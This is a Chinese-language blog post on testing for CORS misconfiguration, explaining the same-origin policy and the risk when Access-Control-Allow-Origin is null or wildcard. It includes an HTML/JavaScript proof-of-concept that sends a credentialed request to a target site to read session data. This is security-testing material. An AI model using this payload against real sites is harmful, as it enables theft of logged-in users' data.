Web业务安全测试—CORS跨域资源共享漏洞

CORS跨域共享漏洞的定义

  • 首先了解下同源策略,同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据
同源策略:
  • 同端口
  • 同协议
  • 同域名

生活总有例外,实践中有一些场景需要跨域的读写,所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。目前主流浏览器均支持CORS。

  • 当CORS的设置不正确时,就会带来安全问题。注意Access-Control-Allow-Origin的值,当其为null、意味着信任任何域,*这时候可能引入安全问题。

在测试过程发现,当A网站设置Access-Control-Allow-Origin:null的时候,B站能够读取A站的敏感数据。此漏洞曾在黑客大会上爆过https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/并未引起太多关注。
POC如下:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

Post请求也能获取敏感数据。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 欢迎关注微信公众号:全栈工厂 本文主要参考跨域资源共享 CORS 详解[http://www.ruanyifeng...
    liqingbiubiu阅读 1,897评论 0 3
  • 题目1.什么是同源策略? 同源策略(Same origin Policy): 浏览器出于安全方面的考虑,只允许与本...
    FLYSASA阅读 1,752评论 0 6
  • 什么是跨域 跨域,是指浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器对JavaScript实...
    Yaoxue9阅读 1,325评论 0 6
  • 什么是跨域 跨域,是指浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器对JavaScript实...
    HeroXin阅读 855评论 0 4
  • 我何必让他知道,我待他如何,我又为他付出了多少,这些他知不知道不重要,只要我自己无愧于心,我希望自己知道,自己记住...
    绿篱清水一壶醉阅读 269评论 0 0